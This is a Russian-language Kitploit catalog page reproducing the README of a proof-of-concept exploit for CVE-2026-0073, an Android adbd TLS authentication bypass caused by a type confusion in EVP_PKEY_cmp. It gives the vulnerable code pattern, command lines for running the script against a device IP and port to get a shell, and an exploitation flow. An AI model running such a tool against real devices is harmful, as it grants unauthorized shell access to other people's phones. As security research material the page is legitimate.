Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0073-Android-ADBD-bypass-POC — CVE-2026-0073 — обход TLS-аутентификации в демоне ADB (adbd) Android через путаницу типов в EVP_PKEY_cmp. Получение несанкционированного доступа к оболочке по WiFi с использованием несоответствия ключей EC/Ed25519. PoC-эксплойт для Android 14+. | Kitploit
Инструменты/GitHubGitHub/xqi1337/cve-2026-0073-android-adbd-bypass-poc
Безопасность AndroidЭксплуатацияЭксплуатация веб-приложенийКриптографияТестирование на ПроникновениеМобильная безопасностьАутентификация
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
xqi1337/cve-2026-0073-android-adbd-bypass-poc

CVE-2026-0073-Android-ADBD-bypass-POC

CVE-2026-0073 — обход TLS-аутентификации в демоне ADB (adbd) Android через путаницу типов в EVP_PKEY_cmp. Получение несанкционированного доступа к оболочке по WiFi с использованием несоответствия ключей EC/Ed25519. PoC-эксплойт для Android 14+.

Репозиторий
15 месяцев назадЕщё не проверено

CVE-2026-0073 — обход TLS-аутентификации в ADBD Android

Путаница типов в EVP_PKEY_cmp() → несанкционированный доступ к ADB shell

Python 3.10+ CVE-2026-0073 Android License


🔥 Обзор

Критический обход аутентификации в демоне ADB Android (adbd) позволяет любому атакующему в локальной сети получить полноценный shell на целевом устройстве без авторизации пользователя.

Уязвимость присутствует в adbd_tls_verify_cert() внутри daemon/auth.cpp, где EVP_PKEY_cmp() используется как логическое значение. Когда сохранённый ключ имеет тип RSA, а предъявленный TLS-сертификат клиента содержит ключ не-RSA (EC P-256 или Ed25519), EVP_PKEY_cmp() возвращает -1 (несовпадение типов), что истинно в C/C++, поэтому authorized = true.

// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) {  // ← BUG: -1 is truthy!
    authorized = true;
}
Возврат EVP_PKEY_cmp()ЗначениеИстинно в C?Результат
1Ключи совпадают✅Авторизован (корректно)
0Ключи различаются❌Отклонён (корректно)
-1Несовпадение типов✅Авторизован (ОШИБКА)

⚡ Быстрый старт

Установка зависимостей

pip install cryptography

Запуск эксплойта

# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>

# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

Принудительно задать определённый тип ключа

python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

По умолчанию скрипт автоматически пробует EC P-256 → Ed25519 → EC/TLS 1.2, пока один из вариантов не сработает.


🎯 Поток эксплуатации

   Attacker                          Target (adbd)
      │                                    │
      │──── TCP connect ──────────────────►│
      │──── CNXN (cleartext) ────────────►│
      │◄─── STLS (TLS upgrade request) ──│
      │──── STLS reply ──────────────────►│
      │                                    │
      │════ TLS 1.3 Handshake ════════════│
      │  (EC P-256 client cert presented)  │
      │  EVP_PKEY_cmp(EC, RSA) → -1       │
      │  -1 is truthy → authorized=true   │
      │════════════════════════════════════│
      │                                    │
      │◄─── CNXN (device info) ──────────│
      │──── OPEN "shell:" ───────────────►│
      │◄─── OKAY ────────────────────────│
      │◄──► WRTE/OKAY (shell I/O) ──────►│
      │                                    │
    [FULL SHELL ACCESS]                    │

📋 Предварительные требования

ТребованиеДетали
Параметры разработчикаВключены на целевом устройстве
Отладка по Wi-FiВключена (или ADB по TCP на порту 5555)
Сохранённый RSA-ключУстройство должно было хотя бы раз быть сопряжено по USB (/data/misc/adb/adb_keys)
Сетевой доступАтакующий должен иметь доступ к TCP-порту adbd

⚠️ Важно: RSA-ключ должен находиться в /data/misc/adb/adb_keys, который заполняется через сопряжение при отладке по USB (принятие диалога «Разрешить отладку по USB?»). Сопряжение при отладке по Wi-Fi (adb pair) сохраняет ключи в другом месте (adb_known_hosts.pb) и НЕ удовлетворяет этому требованию.


🛡️ Уязвимые версии

  • Android 14 (AOSP) — ✅ Подтверждена уязвимость
  • Android 15 (AOSP) — Вероятно уязвима (непропатченные сборки)
  • Сборки от производителей могут отличаться (Samsung One UI, Pixel и т. д.)

Как проверить уровень патча

adb shell getprop ro.build.version.security_patch

🧪 Среда тестирования

Протестировано и подтверждено работоспособным на:

Kernel:   6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)

🔧 Улучшения по сравнению с оригиналом

Этот форк включает несколько усовершенствований:

  • ✅ Резервный перебор нескольких ключей — Автоматически пробует EC P-256 → Ed25519 → EC/TLS 1.2
  • ✅ Поддержка Ed25519 — Альтернативный тип ключа для более широкой совместимости
  • ✅ Резервный вариант TLS 1.2 — Другой поток клиентского сертификата (отправляется во время рукопожатия, а не после него)
  • ✅ Улучшенный сертификат — Корректные расширения X.509 (BasicConstraints, KeyUsage)
  • ✅ Совместимость с Windows — Использует потоковый ввод-вывод вместо select() для кроссплатформенной поддержки
  • ✅ Увеличенные тайм-ауты — Повышенная надёжность в медленных сетях
  • ✅ Подробная диагностика — Детальная трассировка протокола с флагом -v

📁 Структура проекта

CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py    # Main exploit script
└── README.md                 # This file

⚠️ Отказ от ответственности

Этот инструмент предоставляется исключительно для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование данного программного обеспечения.


📚 Ссылки

  • CVE-2026-0073 — MITRE
  • Android Security Bulletin
  • Документация OpenSSL EVP_PKEY_cmp
  • Справочник по протоколу ADB

Если это помогло вашему исследованию, поставьте ⭐

Скачать инструмент